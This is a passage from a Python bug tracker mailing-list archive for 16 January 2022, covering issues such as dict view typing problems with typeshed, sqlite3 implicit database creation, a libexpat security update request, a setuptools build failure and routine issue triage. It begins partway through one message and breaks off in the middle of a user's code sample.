<1642327990.11.0.410899244558.issue46392@roundup.psfhosted.org> Eric V. Smith added the comment: In what way is it too strict? What "obsolete rules" are you referring to? What are some example Message-Ids should be considered valid that instead get truncated? What changes are you proposing? ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 05:50:45 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 16 Jan 2022 10:50:45 +0000 Subject: [issue46396] Invalid usage of `Concatenate` is not covered at all In-Reply-To: <1642322338.93.0.221862480137.issue46396@roundup.psfhosted.org> Message-ID: <1642330245.21.0.302154133658.issue46396@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +gvanrossum, kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 06:14:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Sun, 16 Jan 2022 11:14:18 +0000 Subject: [issue46372] int/float specializations should mutate the LHS in-place when possible In-Reply-To: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> Message-ID: <1642331658.96.0.260908642384.issue46372@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:09:06 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 13:09:06 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642338546.26.0.0958162831394.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28824 pull_request: https://github.com/python/cpython/pull/30620 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:35:42 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 16 Jan 2022 13:35:42 +0000 Subject: [issue46372] int/float specializations should mutate the LHS in-place when possible In-Reply-To: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> Message-ID: <1642340142.83.0.179994780619.issue46372@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:51:26 2022 From: report at bugs.python.org (David CARLIER) Date: Sun, 16 Jan 2022 13:51:26 +0000 Subject: [issue46398] posixshmem module shm_rename freebsd support. Message-ID: <1642341086.32.0.156217071225.issue46398@roundup.psfhosted.org> Change by David CARLIER : ---------- components: FreeBSD nosy: devnexen, koobs, vstinner priority: normal pull_requests: 28825 severity: normal status: open title: posixshmem module shm_rename freebsd support. type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:52:36 2022 From: report at bugs.python.org (David CARLIER) Date: Sun, 16 Jan 2022 13:52:36 +0000 Subject: [issue46398] posixshmem module shm_rename freebsd support. Message-ID: <1642341156.46.0.0686193116953.issue46398@roundup.psfhosted.org> New submission from David CARLIER : - Adding shm_rename (from FreeBSD 13) to be able to move a shared memory block from one location to another. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:55:19 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 16 Jan 2022 13:55:19 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers Message-ID: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> New submission from Alex Waygood : Issue40890 added a new `.mapping` attribute to dict_keys, dict_values and dict_items in 3.10. This addition is great for introspection. However, it has inadvertently caused some unexpected problems for type-checkers. Prior to Issue40890, the typeshed stub for the three `dict` methods was something like this: ``` from typing import MutableMapping, KeysView, ItemsView, ValuesView, TypeVar _KT = TypeVar("_KT") _VT = TypeVar("_VT") class dict(MutableMapping[_KT, _VT]): def keys(self) -> KeysView[_KT]: ... def values(self) -> ValuesView[_VT]: ... def items(self) -> ItemsView[_KT, _VT]: ... ``` In other words, typeshed did not acknowledge the existence of a "dict_keys" class at all. Instead, it viewed the precise class as an implementation detail, and merely stated in the stub that `dict.keys()` would return some class that implemented the `KeysView` interface. After Issue40890, however, it was clear that this approach would no longer suffice, as mypy (and other type-checkers) would yield false-positive errors for the following code: ``` m = dict().keys().mapping ``` Following several PRs, the typeshed stub for these `dict` methods now looks something like this: ``` # _collections_abc.pyi import sys from types import MappingProxyType from typing import Generic, KeysView, ValuesView, ItemsView, TypeVar, final _KT_co = TypeVar("_KT_co", covariant=True) _VT_co = TypeVar("_VT_co", covariant=True) @final class dict_keys(KeysView[_KT_co], Generic[_KT_co, _VT_co]): if sys.version_info >= (3, 10): mapping: MappingProxyType[_KT_co, _VT_co] @final class dict_values(ValuesView[_VT_co], Generic[_KT_co, _VT_co]): if sys.version_info >= (3, 10): mapping: MappingProxyType[_KT_co, _VT_co] @final class dict_items(ItemsView[_KT_co, _VT_co], Generic[_KT_co, _VT_co]): if sys.version_info >= (3, 10): mapping: MappingProxyType[_KT_co, _VT_co] # builtins.pyi from _collections_abc import dict_keys, dict_views, dict_items from typing import MutableMapping, TypeVar _KT = TypeVar("_KT") _VT = TypeVar("_VT") class dict(MutableMapping[_KT, _VT]): def keys(self) -> dict_keys[KT, VT]: ... def values(self) -> dict_values[_KT, _VT]: ... def items(self) -> dict_items[_KT, _VT]: ... ``` The alteration to the typeshed stub means that mypy will no longer give false-positive errors for code in which a user attempts to access the `mapping` attribute. However, it has serious downsides. Users wanting to create typed subclasses of `dict` have found that they are no longer able to annotate `.keys()`, `.values()` and `.items()` as returning `KeysView`, `ValuesView` and `ItemsView`, as mypy now flags this as an incompatible override. Instead, they now have to import `dict_keys`, `dict_values` and `dict_items` from `_collections_abc`, a private module. Moreover, they are unable to parameterise these classes at runtime. In other words, you used to be able to do this: ``` from typing import KeysView, TypeVar K = TypeVar("K") V = TypeVar("V") class DictSubclass(dict[K, V]): def keys(self) -> KeysView[K]: return super().keys() ``` But now, you have to do this: ``` from _collections_abc import dict_keys from typing import TypeVar K = TypeVar("K") V = TypeVar("V") class DictSubclass(dict[K, V]): def keys(self) -> "dict_keys[K, V]": return super().keys() ``` References: * PR where `.mapping` attribute was added to the typeshed stubs: https://github.com/python/typeshed/pull/6039 * typeshed issue where this was recently raised: https://github.com/python/typeshed/issues/6837 * typeshed PR where this was further discussed: https://github.com/python/typeshed/pull/6888 ---------- components: Library (Lib) keywords: 3.10regression messages: 410695 nosy: AlexWaygood, Dennis Sweeney, Jelle Zijlstra, gvanrossum, kj, rhettinger, serhiy.storchaka, sobolevn priority: normal severity: normal status: open title: Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 08:58:59 2022 From: report at bugs.python.org (Alex Waygood) Date: Sun, 16 Jan 2022 13:58:59 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642341539.27.0.817319105121.issue46399@roundup.psfhosted.org> Alex Waygood added the comment: As a fix, I propose that two changes be made to `dict_keys`, `dict_values` and `dict_items`: * They should be officially exposed in the `types` module. * `__class_getitem__` should be added to the classes. These two changes would mean that users would be able to do the following: ``` from types import dict_keys from typing import TypeVar K = TypeVar("K") V = TypeVar("V") class DictSubclass(dict[K, V]): def keys(self) -> dict_keys[K, V]: return super().keys() ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 10:37:46 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 15:37:46 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1642347466.36.0.869470059357.issue40280@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28826 pull_request: https://github.com/python/cpython/pull/30622 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:00:35 2022 From: report at bugs.python.org (bpoaugust) Date: Sun, 16 Jan 2022 16:00:35 +0000 Subject: [issue46392] MessageIDHeader is too strict for message-id In-Reply-To: <1642292190.73.0.652141176491.issue46392@roundup.psfhosted.org> Message-ID: <1642348835.52.0.795765214067.issue46392@roundup.psfhosted.org> bpoaugust added the comment: The easiest might be for me to provide some test cases, but I have not been able to work out where the existing unit tests are. One failure which I believe should be permitted under current rules is: - i.e. trailing space The space gets added AFTER the > However the following is parsed correctly: - i.e. trailing space but with previous comment The obsolete rules I referred to are here: https://datatracker.ietf.org/doc/html/rfc5322#section-4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:06:45 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 16 Jan 2022 16:06:45 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642349205.21.0.410394875316.issue46361@roundup.psfhosted.org> Mark Dickinson added the comment: New changeset 5cd9a162cd02a3d0f1b0a182d80feeb17439e84f by Brandt Bucher in branch 'main': bpo-46361: Fix "small" `int` caching (GH-30583) https://github.com/python/cpython/commit/5cd9a162cd02a3d0f1b0a182d80feeb17439e84f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:07:12 2022 From: report at bugs.python.org (Mark Dickinson) Date: Sun, 16 Jan 2022 16:07:12 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642349232.55.0.174276889968.issue46361@roundup.psfhosted.org> Change by Mark Dickinson : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:21:56 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 16 Jan 2022 16:21:56 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642350116.86.0.937573257703.issue46399@roundup.psfhosted.org> Raymond Hettinger added the comment: > I propose that two changes be made to `dict_keys`, `dict_values` > and `dict_items`: > > * They should be officially exposed in the `types` module. > * `__class_getitem__` should be added to the classes. +1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:32:41 2022 From: report at bugs.python.org (sping) Date: Sun, 16 Jan 2022 16:32:41 +0000 Subject: [issue46400] Please updated bundled libexpat to 2.4.3 with security fixes Message-ID: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> New submission from sping : Expat 2.4.3 released, includes security fixes https://blog.hartwork.org/posts/expat-2-4-3-released/ Thank you! PS: This is similar to bpo-44394 excect now it's 2.4.3. ---------- components: XML messages: 410700 nosy: sping priority: normal severity: normal status: open title: Please updated bundled libexpat to 2.4.3 with security fixes type: security versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:35:13 2022 From: report at bugs.python.org (Ching) Date: Sun, 16 Jan 2022 16:35:13 +0000 Subject: [issue46401] Using setuptools version 59.8.0 or below before upgrade Python 3.10.2 from source on Debian 11 Message-ID: <1642350912.93.0.908239362744.issue46401@roundup.psfhosted.org> New submission from Ching : 1. Before upgrade to Python version 3.10.2 from source on Debian Linux, I must downgrade setuptools to version 59.8.0 or below. 2. At the stage of "make -j 4", setuptools version 60.0.0 or above raise an error of: ModuleNotFoundError: No module named 'binascii' It is not a big issue, just remind Pythonistas to save their time to debug. Reference of installation Python from source on Debian: https://computingforgeeks.com/how-to-install-python-on-debian-linux/ ---------- components: Installation files: error1.txt messages: 410701 nosy: i-Ching priority: normal severity: normal status: open title: Using setuptools version 59.8.0 or below before upgrade Python 3.10.2 from source on Debian 11 type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50564/error1.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:36:33 2022 From: report at bugs.python.org (sping) Date: Sun, 16 Jan 2022 16:36:33 +0000 Subject: [issue46400] Please update bundled libexpat to 2.4.3 with security fixes In-Reply-To: <1642350760.98.0.31451148779.issue46400@roundup.psfhosted.org> Message-ID: <1642350993.77.0.360134939649.issue46400@roundup.psfhosted.org> Change by sping : ---------- title: Please updated bundled libexpat to 2.4.3 with security fixes -> Please update bundled libexpat to 2.4.3 with security fixes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:47:20 2022 From: report at bugs.python.org (sping) Date: Sun, 16 Jan 2022 16:47:20 +0000 Subject: [issue45713] gcc warning when compiling Modules/expat/xmltok_ns.c In-Reply-To: <1636033117.93.0.543536023335.issue45713@roundup.psfhosted.org> Message-ID: <1642351640.29.0.776773189274.issue45713@roundup.psfhosted.org> sping added the comment: This has been fixed upstream in pull request https://github.com/libexpat/libexpat/pull/527 that is included with latest release libexpat 2.4.3. bpo-46400 will fix this as a side effect. ---------- nosy: +sping _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 11:53:17 2022 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 16 Jan 2022 16:53:17 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642351997.28.0.448349688422.issue46399@roundup.psfhosted.org> Guido van Rossum added the comment: Okay, PR welcome. (Though since this can only work for 3.11+, maybe typeshed could also be adjusted? For that you?d have to file a bug there.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 12:42:31 2022 From: report at bugs.python.org (Ned Batchelder) Date: Sun, 16 Jan 2022 17:42:31 +0000 Subject: [issue46402] Enhance sqlite3 to avoid implicit creation? Message-ID: <1642354951.94.0.0196272577556.issue46402@roundup.psfhosted.org> New submission from Ned Batchelder : The sqlite3 library implicitly creates the database if the requested file doesn't exist. I would like to be able to avoid that implicit creation. (Actually, it would be enough to know whether I had created the database, but the underlying SQLite library doesn't seem to indicate that.) The C code currently hard-codes the SQLite flag to create the database if it doesn't exist: rc = sqlite3_open_v2(database, &db, SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | (uri ? SQLITE_OPEN_URI : 0), NULL); Could we make this an option, so the Python code could avoid implicit creation? ---------- components: Library (Lib) messages: 410704 nosy: nedbat priority: normal severity: normal status: open title: Enhance sqlite3 to avoid implicit creation? _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 12:47:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 17:47:37 +0000 Subject: [issue45767] Fix types for dev_t processing in posix module In-Reply-To: <1636477989.19.0.839413468229.issue45767@roundup.psfhosted.org> Message-ID: <1642355257.01.0.830500606055.issue45767@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 12:50:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 17:50:38 +0000 Subject: [issue37800] Clean up the documentation on module attributes In-Reply-To: <1637092793.51.0.535137873888.issue37800@roundup.psfhosted.org> Message-ID: <1642355438.75.0.0209707145653.issue37800@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: -> resolved status: open -> closed versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 12:56:02 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 17:56:02 +0000 Subject: [issue45444] test.test_concurrent_futures fail in x86_ 64 architecture In-Reply-To: <1634045867.87.0.955416673386.issue45444@roundup.psfhosted.org> Message-ID: <1642355762.83.0.195353218897.issue45444@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: -Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 12:58:03 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 17:58:03 +0000 Subject: [issue44495] wrong FNAME in tarfile if tgz extension is used In-Reply-To: <1624431314.4.0.407283752721.issue44495@roundup.psfhosted.org> Message-ID: <1642355883.99.0.179002789597.issue44495@roundup.psfhosted.org> Change by Irit Katriel : ---------- type: -> behavior versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:08:43 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:08:43 +0000 Subject: [issue35974] os.DirEntry.inode() returns invalid value within Docker container In-Reply-To: <1549926682.07.0.790537148313.issue35974@roundup.psfhosted.org> Message-ID: <1642356523.68.0.749330151527.issue35974@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are seeing this on a current python version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:10:43 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 16 Jan 2022 18:10:43 +0000 Subject: [issue46393] Generate frozenset constants when explicitly appropriate In-Reply-To: <1642302685.54.0.683212024451.issue46393@roundup.psfhosted.org> Message-ID: <1642356643.26.0.192202812941.issue46393@roundup.psfhosted.org> Terry J. Reedy added the comment: Rejected by the reality of Python's dynamism, which I overall appreciate ;-). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:11:56 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:11:56 +0000 Subject: [issue39602] importlib: lazy loading can result in reimporting a submodule In-Reply-To: <1581358790.35.0.810808142023.issue39602@roundup.psfhosted.org> Message-ID: <1642356716.72.0.568947903077.issue39602@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +brett.cannon versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:26:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:26:48 +0000 Subject: [issue39064] ValueError in zipfile.ZipFile In-Reply-To: <1576501122.43.0.655067405413.issue39064@roundup.psfhosted.org> Message-ID: <1642357608.09.0.797911942961.issue39064@roundup.psfhosted.org> Irit Katriel added the comment: It's unlikely that anyone will download a binary from bpo and open it. Can you help us reproduce the issue without that? First question is whether you can reproduce this on a version of python that is still in maintenance - 3.9 or higher? ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:29:37 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:29:37 +0000 Subject: [issue37311] Solaris 11.3 w/ Studio 12.6 test_support fail In-Reply-To: <1560733031.84.0.520294809269.issue37311@roundup.psfhosted.org> Message-ID: <1642357777.45.0.435353066593.issue37311@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:29:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:29:47 +0000 Subject: [issue37310] Solaris 11.3 w/ Studio 12.6 test_ctypes fail In-Reply-To: <1560732219.57.0.838922158225.issue37310@roundup.psfhosted.org> Message-ID: <1642357787.13.0.654995613625.issue37310@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are seeing this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:38:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:38:48 +0000 Subject: [issue31038] test_runpy causes running all Python tests when run directly In-Reply-To: <1500999449.61.0.732584715877.issue31038@psf.upfronthosting.co.za> Message-ID: <1642358328.81.0.466151697486.issue31038@roundup.psfhosted.org> Irit Katriel added the comment: Reproduced on 3.11. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:40:33 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 18:40:33 +0000 Subject: [issue40066] Enum: modify __repr__, __str__; update docs In-Reply-To: <1585165738.23.0.618463548627.issue40066@roundup.psfhosted.org> Message-ID: <1642358433.22.0.525408295553.issue40066@roundup.psfhosted.org> Christian Heimes added the comment: GH-30582 broke doc tests in 3.11 branch: File "library/enum.rst", line ?, in default Failed example: Color(0) Exception raised: Traceback (most recent call last): File "/home/runner/work/cpython/cpython/Lib/doctest.py", line 1346, in __run exec(compile(example.source, filename, "single", ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "", line 1, in Color(0) ^^^^^ NameError: name 'Color' is not defined ---------- nosy: +christian.heimes, pablogsal priority: normal -> release blocker versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:48:14 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 18:48:14 +0000 Subject: [issue46401] Setuptools 60.0 breaks building from source on Debian 11: No module named 'binascii' In-Reply-To: <1642350912.93.0.908239362744.issue46401@roundup.psfhosted.org> Message-ID: <1642358894.33.0.899815019107.issue46401@roundup.psfhosted.org> Christian Heimes added the comment: Please report the issue to setuptools, https://github.com/pypa/setuptools . It's a regression in setuptools 60.0. ---------- components: +Build nosy: +christian.heimes title: Using setuptools version 59.8.0 or below before upgrade Python 3.10.2 from source on Debian 11 -> Setuptools 60.0 breaks building from source on Debian 11: No module named 'binascii' _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 13:48:30 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 18:48:30 +0000 Subject: [issue34629] Python3 regression for urllib(2).urlopen(...).fp for chunked http responses In-Reply-To: <1536683769.28.0.0269046726804.issue34629@psf.upfronthosting.co.za> Message-ID: <1642358910.64.0.405952942052.issue34629@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:00:59 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 Jan 2022 19:00:59 +0000 Subject: [issue46401] Setuptools 60.0 breaks building from source on Debian 11: No module named 'binascii' In-Reply-To: <1642350912.93.0.908239362744.issue46401@roundup.psfhosted.org> Message-ID: <1642359659.87.0.510253501157.issue46401@roundup.psfhosted.org> Christian Heimes added the comment: Does setting the env var SETUPTOOLS_USE_DISTUTILS=stdlib resolve the issue for you? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:05:51 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:05:51 +0000 Subject: [issue31524] mailbox._mboxMMDF.get_message throws away From envelope In-Reply-To: <1505863647.23.0.818211401566.issue31524@psf.upfronthosting.co.za> Message-ID: <1642359951.27.0.839885527733.issue31524@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:12:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:12:14 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642360334.91.0.511519335342.issue13886@roundup.psfhosted.org> Irit Katriel added the comment: On 3.11 I don't see a problem on windows, but on mac test_input_tty from test_builtin hangs when test_readline runs first, while test_builtin passes on its own. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:13:09 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:13:09 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1642360389.67.0.774399283042.issue13886@roundup.psfhosted.org> Irit Katriel added the comment: See also Issue44887. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:18:28 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:18:28 +0000 Subject: [issue20271] urllib.parse.urlparse() accepts wrong URLs In-Reply-To: <1389789129.93.0.775761654638.issue20271@psf.upfronthosting.co.za> Message-ID: <1642360708.82.0.535623771016.issue20271@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:34:57 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:34:57 +0000 Subject: [issue42543] case sensitivity in open() arguments In-Reply-To: <1606925370.25.0.425660398835.issue42543@roundup.psfhosted.org> Message-ID: <1642361697.13.0.156728938511.issue42543@roundup.psfhosted.org> Irit Katriel added the comment: I also think the current error message and docs are clear enough. Things are usually case sensitive, and we don't state that in docs. Specifying the list of modes in the error message is possible, but I expect that we will get complaints about variations we did not list (why do you mention only "r" and "w" when "rw" is also fine?) ---------- nosy: +iritkatriel resolution: -> wont fix status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:41:26 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:41:26 +0000 Subject: [issue36988] zipfile: string IndexError on extract In-Reply-To: <1558435795.93.0.150119411648.issue36988@roundup.psfhosted.org> Message-ID: <1642362086.67.0.483325149409.issue36988@roundup.psfhosted.org> Irit Katriel added the comment: Reproduced on 3.11. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:57:17 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:57:17 +0000 Subject: [issue24194] tokenize fails on some Other_ID_Start or Other_ID_Continue In-Reply-To: <1431608427.75.0.966529056278.issue24194@psf.upfronthosting.co.za> Message-ID: <1642363037.82.0.862100407096.issue24194@roundup.psfhosted.org> Irit Katriel added the comment: Reproduced on 3.11. ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:59:28 2022 From: report at bugs.python.org (Roundup Robot) Date: Sun, 16 Jan 2022 19:59:28 +0000 Subject: [issue12067] Doc: remove errors about mixed-type comparisons. In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za> Message-ID: <1642363168.26.0.734471130689.issue12067@roundup.psfhosted.org> Change by Roundup Robot : ---------- pull_requests: +28827 pull_request: https://github.com/python/cpython/pull/30624 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 14:59:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 19:59:50 +0000 Subject: [issue38963] multiprocessing processes seem to "bleed" user information (GID/UID/groups) In-Reply-To: <1575437643.58.0.600766236009.issue38963@roundup.psfhosted.org> Message-ID: <1642363190.85.0.259306910545.issue38963@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:06:14 2022 From: report at bugs.python.org (Irit Katriel) Date: Sun, 16 Jan 2022 20:06:14 +0000 Subject: [issue29241] sys._enablelegacywindowsfsencoding() don't apply to os.fsencode and os.fsdecode In-Reply-To: <1484137681.59.0.0301192140292.issue29241@psf.upfronthosting.co.za> Message-ID: <1642363574.66.0.116612697614.issue29241@roundup.psfhosted.org> Irit Katriel added the comment: With 3.6 being over, is _enablelegacywindowsfsencoding still needed or is it time to deprecate it? ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:10:34 2022 From: report at bugs.python.org (Humbled Drugman) Date: Sun, 16 Jan 2022 20:10:34 +0000 Subject: [issue12067] Doc: remove errors about mixed-type comparisons. In-Reply-To: <1305237573.86.0.646542413513.issue12067@psf.upfronthosting.co.za> Message-ID: <1642363834.38.0.791869573326.issue12067@roundup.psfhosted.org> Change by Humbled Drugman : ---------- nosy: +humbdrag nosy_count: 16.0 -> 17.0 pull_requests: +28828 pull_request: https://github.com/python/cpython/pull/30625 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 16 15:12:33 2022 From: report at bugs.python.org (HAYDEN NGUYEN) Date: Sun, 16 Jan 2022 20:12:33 +0000 Subject: [issue46403] SyntaxError for no reason Message-ID: <1642363953.27.0.162668544419.issue46403@roundup.psfhosted.org> New submission from HAYDEN NGUYEN <1071754 at lcps.org>: Here is my code: import random def drawBoard(board): print(board[7] + '|' + board[8] + '|' + board[9]) print('-+-+-') print(board[4] + '|' + board[5] + '|' + board[6]) print('-+-+-') print(board[1] + 